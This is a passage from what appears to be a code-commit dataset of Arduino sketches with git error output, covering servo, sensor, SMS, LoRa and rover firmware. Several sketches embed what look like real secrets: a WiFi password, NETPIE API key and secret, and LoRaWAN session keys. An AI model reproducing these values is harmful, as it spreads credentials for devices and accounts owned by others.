git\n","license":"mit","lang":"Arduino"} {"commit":"99130e5cffb6f1540442f3197477bbaa9713f816","subject":"version beta","message":"version beta\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement.ino","new_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Pince\/Moteur_deplacement\/Moteur_deplacement.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a98fbce82f85a4f9a3f913f74803c821e3ab5157","subject":"Added 'degrees Fahrenheit' to LCD display","message":"Added 'degrees Fahrenheit' to LCD display\n","repos":"frofro1964\/Arduino-Auto-Gauge","old_file":"grahams' test code\/experimental_stepper_code_3\/experimental_stepper_code_3.ino","new_file":"grahams' test code\/experimental_stepper_code_3\/experimental_stepper_code_3.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: Unterminated quoted string\n","license":"apache-2.0","lang":"Arduino"} {"commit":"676c32f82c369563892292580e3923aba725458f","subject":"init arduino code","message":"init arduino code\n","repos":"ltempier\/cyclope,ltempier\/cyclope","old_file":"cyclope.ino","new_file":"cyclope.ino","new_contents":"#include <Ethernet.h>\n\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nIPAddress server(173,194,33,104);\n\n\nEthernetClient client;\n\n \n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'cyclope.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5ea409ca63145493c7883971129cfadb12646793","subject":"Releasing v1.0.6","message":"Releasing v1.0.6\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3df964759d643b9f2ef8a8529f1d9c0962d3b618","subject":"one line less","message":"one line less\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"524504236540355e1e89f11b98fda8ba21e4981f","subject":"added firmware that reads serial port and uses to set servo positions","message":"added firmware that reads serial port and uses to set servo positions","repos":"SensorsINI\/jaer,SensorsINI\/jaer,SensorsINI\/jaer,SensorsINI\/jaer,SensorsINI\/jaer,SensorsINI\/jaer,SensorsINI\/jaer,SensorsINI\/jaer","old_file":"src\/org\/ine\/telluride\/jaer\/tell2022\/GoingFishingFirmware\/GoingFishingFirmware.ino","new_file":"src\/org\/ine\/telluride\/jaer\/tell2022\/GoingFishingFirmware\/GoingFishingFirmware.ino","new_contents":"#include <Servo.h>\n\nServo theta;\nServo z;\n\nbool disabled = true;\n\nvoid setup() {\n Serial.begin(115200);\n}\n\nvoid loop() {\n if (Serial.available()==2) {\n int thetaDeg = Serial.read();\n int zDeg = Serial.read();\n if (thetaDeg = 0 && zDeg == 0) {\n disabled = true;\n theta.detach();\n z.detach();\n } else {\n if (disabled) {\n theta.attach(12);\n z.attach(9);\n disabled=false;\n }\n theta.write(thetaDeg);\n z.write(zDeg);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/org\/ine\/telluride\/jaer\/tell2022\/GoingFishingFirmware\/GoingFishingFirmware.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"c7b436d9ed600bb4f7a661bb34f9397170d98b22","subject":"added temp-texter code","message":"added temp-texter code\n","repos":"jkeefe\/temperature-texter","old_file":"temp_texter.ino","new_file":"temp_texter.ino","new_contents":"\/\/\/\/ Temperature-Humidity Sensor Code Comments\n\/\/ FILE: dht22_test.ino\n\/\/ AUTHOR: Rob Tillaart\n\/\/ VERSION: 0.1.03\n\/\/ PURPOSE: DHT library test sketch for DHT22 && Arduino\n\/\/ URL: https:\/\/github.com\/RobTillaart\/Arduino\/tree\/master\/libraries\/DHTlib\n\/\/ HISTORY:\n\/\/ 0.1.03 extended stats for all errors\n\/\/ 0.1.02 added counters for error-regression testing.\n\/\/ 0.1.01\n\/\/ 0.1.00 initial version\n\/\/\n\/\/ Released to the public domain\n\/\/\n\/\/ Edited by John Keefe for DHT22 only\n\/\/ Get the full library, including the dht.h file at the URL above\n\/\/ More info at http:\/\/johnkeefe.net\/make-every-week-temperature-texter\n\n\/\/\/\/ Fona Code Comments\n\/*************************************************** \n This is an example for our Adafruit FONA Cellular Module\n\n Designed specifically to work with the Adafruit FONA \n ----> http:\/\/www.adafruit.com\/products\/1946\n ----> http:\/\/www.adafruit.com\/products\/1963\n ----> http:\/\/www.adafruit.com\/products\/2468\n ----> http:\/\/www.adafruit.com\/products\/2542\n\n These cellular modules use TTL Serial to communicate, 2 pins are \n required to interface\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries. \n BSD license, all text above must be included in any redistribution\n ****************************************************\/\n\n\/\/ turnOnFONA and turnOffFONA functions by Kina Smith\n\/\/ http:\/\/www.kinasmith.com\/spring2015\/towersofpower\/fona-code\/\n\n\/\/ low-power sleep code from Jean-Claude Wippler\n\/\/ http:\/\/jeelabs.net\/pub\/docs\/jeelib\/classSleepy.html and\n\/\/ http:\/\/jeelabs.net\/projects\/jeelib\/wiki\n\/\/ Which is well-described here: http:\/\/jeelabs.org\/2011\/12\/13\/developing-a-low-power-sketch\/\n\/\/\n\/\/ Note that I'm using loseSomeTime() in place of delay(), and that going\n\/\/ into low-power mode screws up the serial monitor feed! To debug, replace\n\/\/ loseSomeTime(XXX) with delay(XXX).\n\n\/\/ All of the above combined, mashed-up and edited by \n\/\/ John Keefe\n\/\/ http:\/\/johnkeefe.net\/\n\/\/ August 2015\n\n\/\/ library for the temperature humidity sensor\n\/\/ get at https:\/\/github.com\/RobTillaart\/Arduino\/tree\/master\/libraries\/DHTlib\n#include <dht.h>\ndht DHT;\n\n#include <SoftwareSerial.h>\n\n\/\/ library for fona\n\/\/ get at https:\/\/learn.adafruit.com\/adafruit-fona-mini-gsm-gprs-cellular-phone-module\/arduino-test\n#include \"Adafruit_FONA.h\"\n\n\/\/ library for low-power sleep move\n\/\/ get at http:\/\/jeelabs.net\/projects\/jeelib\/wiki\n#include <JeeLib.h> \n\n\/\/ temp sensor definitino\n#define DHT22_PIN 5\n\n\/\/ fona definitions\n#define FONA_RX 2 \/\/ communications\n#define FONA_TX 3 \/\/ communications\n#define FONA_RST 4 \/\/ the reset pin\n#define FONA_KEY 6 \/\/ pulse to power up or down\n#define FONA_PS 7 \/\/status pin. Is the board on or not?\nint keyTime = 2000; \/\/ Time needed to turn on\/off the Fona\nSoftwareSerial fonaSS = SoftwareSerial(FONA_TX, FONA_RX);\nAdafruit_FONA fona = Adafruit_FONA(FONA_RST);\n\n\/\/ low-power sleep definitions\nint mins_between_texts = 20; \/\/ minutes between texts\n\n\/\/ must be defined in case we're using the watchdog for low-power waiting\n\/\/ WDT = watchdog timer\nISR(WDT_vect) { Sleepy::watchdogEvent(); }\n\nfloat temp_farenheit;\nString phone_number = \"40404\"; \/\/ Set for Twitter; put receiving number here\nString base_message;\n\n\/\/ this is for the sensor\nstruct\n{\n uint32_t total;\n uint32_t ok;\n uint32_t crc_error;\n uint32_t time_out;\n uint32_t connect;\n uint32_t ack_l;\n uint32_t ack_h;\n uint32_t unknown;\n} stat = { 0,0,0,0,0,0,0,0};\n\nvoid setup()\n{\n \/\/ Set FONA pins (actually pretty important to do FIRST, \n \/\/ otherwise the board can be inconsistently powered during startup. \n pinMode(FONA_PS, INPUT); \n pinMode(FONA_KEY,OUTPUT); \n digitalWrite(FONA_KEY, HIGH);\n \n \/\/ make communications with fona slow so it is easy to read\n fonaSS.begin(4800);\n\n \/\/ establish a speed for the serial monitor\n Serial.begin(115200);\n\n \/\/ Power up FONA\n turnOnFONA();\n}\n\nvoid loop()\n{\n \/\/ Read Sensor Data\n\n \/\/ this code is from the original noted above. it is probably\n \/\/ more involved than necessary, but broke when I tried to \n \/\/ pare it down.\n Serial.print(\"DHT22, \\t\");\n\n uint32_t start = micros();\n int chk = DHT.read22(DHT22_PIN);\n uint32_t stop = micros();\n\n stat.total++;\n switch (chk)\n {\n case DHTLIB_OK:\n stat.ok++;\n Serial.print(\"OK,\\t\");\n break;\n case DHTLIB_ERROR_CHECKSUM:\n stat.crc_error++;\n Serial.print(\"Checksum error,\\t\");\n break;\n case DHTLIB_ERROR_TIMEOUT:\n stat.time_out++;\n Serial.print(\"Time out error,\\t\");\n break;\n case DHTLIB_ERROR_CONNECT:\n stat.connect++;\n Serial.print(\"Connect error,\\t\");\n break;\n case DHTLIB_ERROR_ACK_L:\n stat.ack_l++;\n Serial.print(\"Ack Low error,\\t\");\n break;\n case DHTLIB_ERROR_ACK_H:\n stat.ack_h++;\n Serial.print(\"Ack High error,\\t\");\n break;\n default:\n stat.unknown++;\n Serial.print(\"Unknown error,\\t\");\n break;\n }\n \/\/ DISPLAY DATA\n Serial.print(DHT.humidity, 1);\n Serial.print(\",\\t\");\n Serial.print(DHT.temperature, 1);\n Serial.print(\",\\t\");\n Serial.print(stop - start);\n Serial.println();\n\n if (stat.total % 20 == 0)\n {\n Serial.println(\"\\nTOT\\tOK\\tCRC\\tTO\\tUNK\");\n Serial.print(stat.total);\n Serial.print(\"\\t\");\n Serial.print(stat.ok);\n Serial.print(\"\\t\");\n Serial.print(stat.crc_error);\n Serial.print(\"\\t\");\n Serial.print(stat.time_out);\n Serial.print(\"\\t\");\n Serial.print(stat.connect);\n Serial.print(\"\\t\");\n Serial.print(stat.ack_l);\n Serial.print(\"\\t\");\n Serial.print(stat.ack_h);\n Serial.print(\"\\t\");\n Serial.print(stat.unknown);\n Serial.println(\"\\n\");\n }\n\n \/\/ convert celcius to farenheit because U.S.\n temp_farenheit = (DHT.temperature * 1.8) + 32;\n\n Serial.print(\"Humidity: \");\n Serial.println(DHT.humidity, 1);\n Serial.print(\"Temperature (F): \");\n Serial.println(temp_farenheit, 1);\n\n \/\/ Power up FONA\n turnOnFONA();\n\n \/\/ Read the FONA battery level\n uint16_t vbat;\n if (! fona.getBattPercent(&vbat)) {\n Serial.println(F(\"Failed to read Batt\"));\n } else {\n Serial.print(F(\"Battery: \")); \n Serial.print(vbat); \n Serial.println(F(\"%\"));\n }\n\n \/\/ Compose the text message\n char sendto[21], message[141];\n base_message = \"John's Arduino detects Temp:\";\n\n \/\/ Converting a float variable (temp_farenheit) to a String (tempTemp)\n \/\/ using dtostrf as defined here: http:\/\/forum.arduino.cc\/index.php?topic=126618.0\n \/\/ dtostrf(YourNumber, TotalStringLength, NumberOfDecimals, TheTargetArray)\n \/\/ TotalStringLength > Must include all characters the '.' and the null terminator\n \/\/ NumberOfDecimals > The output is rounded .456 become .46 at 2 decimals\n \/\/ TheTargetArray must be declared\n char tempTemp[6];\n dtostrf(temp_farenheit, 5, 1, tempTemp);\n\n \/\/ Ditto float -> String conversion for the humidity\n char humidityTemp[6];\n dtostrf(DHT.humidity, 5, 1, humidityTemp);\n\n \/\/ Convert battery_percent int to String\n String battery_percent = String(vbat); \n\n \/\/ building the message to text\n base_message = base_message + tempTemp + \" F | Humidity\" + humidityTemp + \"% | Battery \" + battery_percent + \"%\";\n\n \/\/ turn the phone number String into a character array called sendto\n phone_number.toCharArray(sendto,20);\n\n \/\/ convert base_message String to a character array called message\n \/\/ for the fona software\n base_message.toCharArray(message,140);\n\n \/\/ Send text via Fona\n Serial.print(\"SMS message: \");\n Serial.println(message); \n\n Serial.print(\"Sending to: \");\n Serial.println(sendto); \n\n if (!fona.sendSMS(sendto, message)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"Sent!\"));\n }\n\n \/\/ wait for the sending process to conmplete\n Serial.println(F(\"Waiting for sending to complete...\"));\n Sleepy::loseSomeTime(10000); \/\/ instead of delay(10000);\n\n \/\/ power down fona\n turnOffFONA();\n \n \/\/ Enter arduino low-power mode\n \/\/ loseSomeTime has a max of 60secs ... so looping for multiple minutes\n for (byte i = 0; i < mins_between_texts; ++i) {\n Sleepy::loseSomeTime(60000);\n }\n\n}\n\n\/\/ This turns FONA ON\nvoid turnOnFONA() { \n if(! digitalRead(FONA_PS)) { \/\/Check if it's On already. LOW is off, HIGH is ON.\n Serial.print(\"FONA was OFF, Powering ON: \");\n digitalWrite(FONA_KEY,LOW); \/\/pull down power set pin\n unsigned long KeyPress = millis(); \n while(KeyPress + keyTime >= millis()) {} \/\/wait two seconds\n digitalWrite(FONA_KEY,HIGH); \/\/pull it back up again\n Serial.println(\"FONA Powered Up\");\n Serial.println(\"Initializing please wait 20sec...\");\n \/\/ delay for 20sec to establish cell network handshake.\n Sleepy::loseSomeTime(20000); \n } else {\n Serial.println(\"FONA Already On, Did Nothing\");\n }\n\n \/\/ test to make sure all is well & FONA is responding\n \/\/ this also appears ke to reestablishing the software serial\n if (! fona.begin(fonaSS)) {\n Serial.println(F(\"Couldn't find FONA\"));\n } else {\n Serial.println(F(\"FONA is OK\"));\n }\n}\n\n\/\/ This does the opposite of turning the FONA ON (ie. OFF)\nvoid turnOffFONA() { \n if(digitalRead(FONA_PS)) { \/\/check if FONA is OFF\n Serial.print(\"FONA was ON, Powering OFF: \"); \n digitalWrite(FONA_KEY,LOW);\n unsigned long KeyPress = millis();\n while(KeyPress + keyTime >= millis()) {}\n digitalWrite(FONA_KEY,HIGH);\n Serial.println(\"FONA is Powered Down\");\n } else {\n Serial.println(\"FONA is already off, did nothing.\");\n }\n}\n\n\n\/\/\n\/\/ END OF FILE\n\/\/","old_contents":"","returncode":1,"stderr":"error: pathspec 'temp_texter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b012773b7718ebfcc75fac0b1a8fde7b87b70ba5","subject":"Erster Test","message":"Erster Test\n","repos":"guitar-hero\/lora-post","old_file":"lora-post-test-node\/Arduino\/Case1.ino\/Case1.ino.ino","new_file":"lora-post-test-node\/Arduino\/Case1.ino\/Case1.ino.ino","new_contents":"#include \"TheThingsUno.h\"\n\n\/\/ Set your DevAddr\nconst byte devAddr[4] = {0x01, 0x61, 0xB5, 0xFB}; \/\/for example: {0x02, 0xDE, 0xAE, 0x00};\n\n\/\/ Set your NwkSKey and AppSKey\nconst byte nwkSKey[16] = {0x05, 0xED, 0x38, 0x5B, 0xF7, 0x83, 0xAA, 0x99, 0x98, 0x99, 0x29, 0xCA, 0xD7, 0x51, 0xA7, 0xF6}; \/\/for example: {0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0xD2, 0xA6, 0xAB, 0xF7, 0x15, 0x88, 0x09, 0xCF, 0x4F, 0x3C};\nconst byte appSKey[16] = {0x20, 0x49, 0x5A, 0x2B, 0x18, 0xD4, 0xDB, 0x74, 0x20, 0x85, 0xFA, 0x4F, 0xA9, 0x7F, 0xB8, 0x60}; \/\/for example: {0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0xD2, 0xA6, 0xAB, 0xF7, 0x15, 0x88, 0x09, 0xCF, 0x4F, 0x3C};\n\n#define debugSerial Serial\n#define loraSerial Serial1\n\n#define debugPrintLn(...) { if (debugSerial) debugSerial.println(__VA_ARGS__); }\n#define debugPrint(...) { if (debugSerial) debugSerial.print(__VA_ARGS__); }\n\nTheThingsUno ttu;\n\nvoid setup()\n{\n debugSerial.begin(115200);\n loraSerial.begin(57600);\n\n delay(3000);\n\n ttu.init(loraSerial, debugSerial);\n ttu.reset();\n ttu.personalize(devAddr, nwkSKey, appSKey);\n ttu.showStatus();\n\n debugPrintLn(\"Setup for The Things Network complete\");\n\n delay(2000);\n\/\/___ Settings as wishes from use case ____ \n\n\/\/ ttu.sendCommand(\"mac set ch dcycle 0 99\"); \/\/<dutyCycle> = (100\/X) \u2013 1\n\/\/ ttu.sendCommand(\"mac set ch dcycle 1 99\");\n\/\/ ttu.sendCommand(\"mac set ch drrange 1 0 7\");\n\/\/ ttu.sendCommand(\"mac set ch dcycle 2 99\");\n\/\/ ttu.sendCommand(\"mac set ch freq 3 868850000\");\n\/\/ ttu.sendCommand(\"mac set ch dcycle 3 999\");\n\/\/ ttu.sendCommand(\"mac set ch drrange 3 0 5\");\n\/\/ ttu.sendCommand(\"mac set ch status 3 on\");\n\/\/ ttu.sendCommand(\"mac set ch freq 4 869050000\");\n\/\/ ttu.sendCommand(\"mac set ch drrange 4 0 5\");\n\/\/ ttu.sendCommand(\"mac set ch status 4 on\");\n\/\/ ttu.sendCommand(\"mac set ch freq 5 869525000\");\n\/\/ ttu.sendCommand(\"mac set ch dcycle 5 9\");\n\/\/ ttu.sendCommand(\"mac set ch drrange 5 0 5\");\n\/\/ ttu.sendCommand(\"mac set ch status 5 on\");\n\/\/ ttu.sendCommand(\"mac save\");\n}\n\nvoid loop() {\n\/\/ ____Read in from Serial____\nString inString = debugSerial.readString(); \/\/\"00,500,10\"; \/\/ Testnummer, Counter, Scenario\n\n\/\/____Split The String____\n\n \n String temp1 = inString.substring(inString.indexOf(',') + 1); \/\/ ,y,x\n String testnr = inString.substring(0, inString.indexOf(',')); \/\/x\n\n String temp2 = temp1.substring(temp1.indexOf(',') + 1); \/\/x\n String counter = temp1.substring(0, temp1.indexOf(',')); \/\/Testnummer :12 Temp1 : 34, 56 Counter :34 Temp2 : 56 Scenario : 56\n\n String scenario = temp2; \/\/ could be directly\n\n\/\/ ____Setting the SF____\n int dr = -1;\n switch (scenario.toInt()) {\n case 7:\n dr = 5;\n break;\n case 8:\n dr = 4;\n break;\n case 9:\n dr = 3;\n break;\n case 10:\n dr = 2;\n break;\n case 11:\n dr = 1;\n break;\n case 12:\n dr = 0;\n break;\n default:\n debugPrintLn(\"Invalid SF\")\n break;\n }\n if (dr > -1)\n { ttu.sendCommand(\"mac set dr \" + String(dr)); \n }\n \n\n \/\/ ____Seting the Retry on____ \n ttu.sendCommand(\"mac set retx 0\");\n \n \/\/ ____Setting the Counter from the device____\n\n ttu.sendCommand(\"mac set upctr \" + String(counter) );\n\n \/\/ ____Setting Test number for Protocol Still outcomment____\n \n \/\/ttu.sendCommand(\"mac tx cnf 4 \" + testnr ); \n \n ttu.sendString(\"Team Rocket 4TW!\");\n\n delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lora-post-test-node\/Arduino\/Case1.ino\/Case1.ino.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4a771e726a49124f1f1d1e7694d0dd47aa66273b","subject":"Upload Serial Script For Arduino","message":"Upload Serial Script For Arduino\n\nAlmost Left this one out.\n","repos":"Westwood3DPrinting\/Sign-Language,Westwood3DPrinting\/Sign-Language,Westwood3DPrinting\/Sign-Language","old_file":"Sign Language\/serial\/serial.ino","new_file":"Sign Language\/serial\/serial.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sign' did not match any file(s) known to git\nerror: pathspec 'Language\/serial\/serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1bbf914a96b58d1faf287806d01d30bcfaf1860d","subject":"Ajout de fonction de test","message":"Ajout de fonction de test\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Detection\/Software\/CoupeDeFranceDetectionv2.0\/CoupeDeFranceDetectionv2.0.ino","new_file":"Module Detection\/Software\/CoupeDeFranceDetectionv2.0\/CoupeDeFranceDetectionv2.0.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Detection\/Software\/CoupeDeFranceDetectionv2.0\/CoupeDeFranceDetectionv2.0.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"17885879459b50415d5ce5d406acfdf03a64a6a7","subject":"Skeleton ADSR example.","message":"Skeleton ADSR example.\n","repos":"logickworkshop\/du-ino,logickworkshop\/du-ino","old_file":"examples\/adsr\/adsr.ino","new_file":"examples\/adsr\/adsr.ino","new_contents":"#include <du-ino_function.h>\n#include <du-ino_interface.h>\n#include <TimerOne.h>\n\nclass DU_ADSR_Function : public DUINO_Function {\n public:\n DU_ADSR_Function(uint16_t sc) : DUINO_Function(sc) { }\n \n virtual void setup()\n {\n \n }\n\n virtual void loop(unsigned long dt)\n {\n\n }\n};\n\nclass DU_ADSR_Interface : public DUINO_Interface {\n public:\n virtual void setup()\n {\n \n }\n\n virtual void timer()\n {\n \n }\n};\n\nDU_ADSR_Function * function;\nDU_ADSR_Interface * interface;\n\nvoid timer_isr()\n{\n interface->timer_isr();\n}\n\nvoid setup() {\n function = new DU_ADSR_Function(0b0000000000);\n interface = new DU_ADSR_Interface();\n\n function->begin();\n interface->begin();\n\n Timer1.initialize(1000);\n Timer1.attachInterrupt(timer_isr);\n}\n\nvoid loop() {\n function->run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/adsr\/adsr.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"35495f0022bba805f4510081d98f40d5390d147d","subject":"Ajout de notes dans monMain de l'asservissement notes pour d\u00e9buguer","message":"Ajout de notes dans monMain de l'asservissement\nnotes pour d\u00e9buguer\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module moteur\/Software\/Asservissement\/monMain\/monMain.ino","new_file":"Module moteur\/Software\/Asservissement\/monMain\/monMain.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'moteur\/Software\/Asservissement\/monMain\/monMain.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e4ef08dae534f03535df83d13df1685e5aabcdec","subject":"no message","message":"no message\n","repos":"kongdej\/skhome","old_file":"skhome_sensor\/skhome_sensor.ino","new_file":"skhome_sensor\/skhome_sensor.ino","new_contents":"\/\/ Smart Home project - watering section\n\/\/ Written by kongdej srisamran, pudza maker club\n\n#include <DHT.h>\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#include <SHT1x.h>\n#include <MicroGear.h>\n#include <ESP8266WiFi.h>\n#include <ESP8266mDNS.h>\n#include <WiFiUdp.h>\n#include <ArduinoOTA.h>\n\nconst char* ssid = \"ZAB\";\nconst char* password = \"Gearman1\";\n\n\/\/ NETWORK: Static IP details...\nIPAddress ip(192, 168, 1, 102);\nIPAddress gateway(192, 168, 1, 1);\nIPAddress subnet(255, 255, 255, 0);\n\n#define APPID \"SKHOME\"\n#define GEARKEY \"KHazXa72xG6QRme\"\n#define GEARSECRET \"nkjB8z7PmCl1F9IjLlYQe9rs8\"\n#define ALIAS \"greenhouse\"\n\n\/\/ define pin\n#define clockPin D1 \/\/ SHT10 CLOCK\n#define dataPin D2 \/\/ SHT10 DATA\n#define ONE_WIRE_BUS D3 \/\/ DS18B20\n#define DHTPIN D4 \/\/ DHT 21 (AM2301)\n#define DHTTYPE DHT21 \/\/ DHT 21 (AM2301)\n\nSHT1x sht1x(dataPin, clockPin);\nDHT dht(DHTPIN, DHTTYPE);\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature ds18b20(&oneWire);\nWiFiClient client;\nMicroGear microgear(client);\nint timer = 0;\n\nvoid onConnected(char *attribute, uint8_t* msg, unsigned int msglen) {\n Serial.println(\"Connected to NETPIE...\");\n microgear.setAlias(ALIAS);\n}\n\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ NETPIE\n microgear.on(CONNECTED,onConnected);\n \n \n WiFi.config(ip, gateway, subnet); \/\/ Static IP Setup Info Here...\n if (WiFi.begin(ssid, password)) {\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n \n \/\/ OTA\n ArduinoOTA.onStart([]() {\n Serial.println(\"Start\");\n });\n ArduinoOTA.onEnd([]() {\n Serial.println(\"\\nEnd\");\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n Serial.printf(\"Progress: %u%%\\r\", (progress \/ (total \/ 100)));\n });\n ArduinoOTA.onError([](ota_error_t error) {\n Serial.printf(\"Error[%u]: \", error);\n if (error == OTA_AUTH_ERROR) Serial.println(\"Auth Failed\");\n else if (error == OTA_BEGIN_ERROR) Serial.println(\"Begin Failed\");\n else if (error == OTA_CONNECT_ERROR) Serial.println(\"Connect Failed\");\n else if (error == OTA_RECEIVE_ERROR) Serial.println(\"Receive Failed\");\n else if (error == OTA_END_ERROR) Serial.println(\"End Failed\");\n });\n ArduinoOTA.begin();\n \n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n \/\/uncomment the line below if you want to reset token -->\n microgear.resetToken();\n microgear.init(GEARKEY, GEARSECRET, ALIAS);\n microgear.connect(APPID);\n }\n\n\n dht.begin();\n ds18b20.begin();\n}\n\nvoid loop() {\n ArduinoOTA.handle();\n if (microgear.connected()) {\n microgear.loop();\n if (timer >= 1000) {\n\n delay(500);\n float dht_h = dht.readHumidity();\n float dht_t = dht.readTemperature(); \n if (isnan(dht_h) || isnan(dht_t)) {\n Serial.println(\"Failed to read from DHT sensor!\"); \n }\n else {\n Serial.print(\"DHT Humidity: \");Serial.print(dht_h);Serial.print(\"%\\t\");\n microgear.publish(\"\/greenhouse\/dht\/t\",String(dht_t));\n \n delay(500);\n Serial.print(\"DHT Temperature: \");Serial.print(dht_t);Serial.println('C');\n microgear.publish(\"\/greenhouse\/dht\/h\",String(dht_h));\n }\n \n delay(500);\n ds18b20.requestTemperatures(); \/\/ Send the command to get temperatures\n float ds18b20_t = ds18b20.getTempCByIndex(0); \n Serial.print(\"DS18 Temperature: \");Serial.print(ds18b20_t);Serial.println(\"C\");\n microgear.publish(\"\/greenhouse\/ds18\/t\",String(ds18b20_t));\n \n delay(500);\n float sht_t = sht1x.readTemperatureC();\n float sht_h = sht1x.readHumidity();\n Serial.print(\"SHT Temperature: \");Serial.print(sht_t);Serial.print(\"C \\t\");\n microgear.publish(\"\/greenhouse\/sht\/t\",String(sht_t));\n\n delay(500);\n Serial.print(\"SHT Humidity: \");Serial.print(sht_h);Serial.println(\"%\");\n microgear.publish(\"\/greenhouse\/sht\/h\",String(sht_h));\n \n Serial.println(\"------------------------------------\");\n timer = 0;\n } \n else {\n timer += 100;\n }\n }\n else {\n Serial.println(\"connection lost, reconnect...\");\n if (timer >= 5000) {\n microgear.connect(APPID);\n timer = 0;\n }\n else {\n timer += 100;\n }\n }\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'skhome_sensor\/skhome_sensor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"42cebc8348351a3d44a9bbbd6334548f7bcbdf2c","subject":"Add control sketch for rover","message":"Add control sketch for rover\n","repos":"jmptable\/machine-1-control","old_file":"Arduino\/Machine2RemoteControl\/Machine2RemoteControl.ino","new_file":"Arduino\/Machine2RemoteControl\/Machine2RemoteControl.ino","new_contents":"#include <Servo.h>\n#include <AccelStepper.h>\n#include <MultiStepper.h>\n\nconst int PIN_STEPPER_X_STEP = 11;\nconst int PIN_STEPPER_X_DIR = 12;\n\nconst int PIN_Y_ENABLE = 6;\nconst int PIN_STEPPER_Y1_STEP = 7;\nconst int PIN_STEPPER_Y1_DIR = 8;\n\nconst int PIN_STEPPER_Y2_STEP = 9;\nconst int PIN_STEPPER_Y2_DIR = 10;\nconst int PIN_STEPPER_Z_STEP = 4;\nconst int PIN_STEPPER_Z_DIR = 5;\n\nconst int PIN_SERVO1 = 2;\nconst int PIN_SERVO2 = 3;\n\nAccelStepper stepperX(1, PIN_STEPPER_X_STEP, PIN_STEPPER_X_DIR);\nAccelStepper stepperY1(1, PIN_STEPPER_Y1_STEP, PIN_STEPPER_Y1_DIR);\nAccelStepper stepperY2(1, PIN_STEPPER_Y2_STEP, PIN_STEPPER_Y2_DIR);\nAccelStepper stepperZ(1, PIN_STEPPER_Z_STEP, PIN_STEPPER_Z_DIR);\n\nMultiStepper steppers;\n\nint s = 10;\n\nServo panServo, tiltServo;\nServo triggerServo, paintServo;\nboolean running = false;\n\nconst int PIN_KNOB1 = 0;\nconst int PIN_KNOB2 = 1;\nconst int PIN_KNOB3 = 3;\n\nconst int TRIGGER_OFF = 167;\nconst int TRIGGER_ON = 177;\nconst int PAINT_MIN = 85;\nconst int PAINT_MAX = 